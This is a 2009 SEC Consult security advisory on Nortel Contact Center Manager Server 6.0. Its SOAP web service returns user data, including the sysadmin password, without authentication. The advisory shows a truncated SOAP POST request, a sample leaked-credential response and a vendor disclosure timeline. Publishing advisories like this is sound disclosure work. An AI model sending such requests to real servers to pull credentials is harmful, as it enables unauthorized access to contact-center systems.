Nortel Contact Center Manager Server Password

SEC Consult Security Advisory < 20090525-1 >


title: Nortel Contact Center Manager Server Password


program: Nortel Contact Center Manager Server

vulnerable version: 6.0


found: 2008-11-14

by: David Matscheko / SEC Consult /



Vendor description:



Contact Center Manager Server (CCMS) offers a scalable solution for dynamic contact center environments requiring sophistication and differentiation in the care offered to their customers. CCMS provides skill-based routing; call treatment flexibility, real time displays, multimedia routing, and comprehensive management and reporting functionality - empowering contact center managers with the tools and agility to deliver unique and unprecedented care to their customers. The rich scripting language supports multifaceted call routing and treatment decisions based on combinations of real time conditions.





Vulnerability overview:



The Nortel Contact Center Manager Server web application provides a SOAP interface. This interface does not need authorisation and responds to certain requests with sensitive information.



Vulnerability description:



The following SOAP request queries the user data for the user "sysadmin":


POST /Common/WebServices/SOAPWrapperCommon/SOAPWrapperCommonWS.asmx HTTP/1.1
Content-Type: text/xml; charset=utf-8
SOAPAction: ""
Content-Length: 661

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi=""


The following is an excerpt of the response to the previous query. It contains the user sysadmin with the corresponding password (password, server IP address, and server name has been changed):

	&lt;z:row ID='0' ServerName='abcd01' ServerIP=''
		 ServerDescription='abcd01' ServerUserID='sysadmin' ServerPassword='pwd4hugo'
		 ServerType='1' SystemVersion='6.0' OpenQueue='0' HeteroNetworking='0'
		 Network='0' ServerSWBuild='4.4F' ServerSULevel='CCMS_6.0_SU_05'
		 ServerDPLevel='CCMS_6.0_SUS_0503' BasicIVR='1' GracePeriodState='3'



Proof of concept:



This vulnerability can be exploited with a web browser and plugins / web proxy.



Vulnerable versions:



The version tested was with the following updates applied:






Prior versions are most likely also vulnerable.



Vendor contact timeline:



January 2009: Vendor informed about vulnerability

2009-05-14: Patch available

2009-05-25: Public Release






The vendor has released a vulnerability fix which addresses the issue. In addition, the vendor has released a public security advisory containing update instructions. URL:





SEC Consult Unternehmensberatung GmbH


Office Vienna

Mooslackengasse 17

A-1190 Vienna



Tel.: +43 / 1 / 890 30 43 - 0

Fax.: +43 / 1 / 890 30 43 - 25

Mail: research at sec-consult dot com


EOF David Matscheko / @2008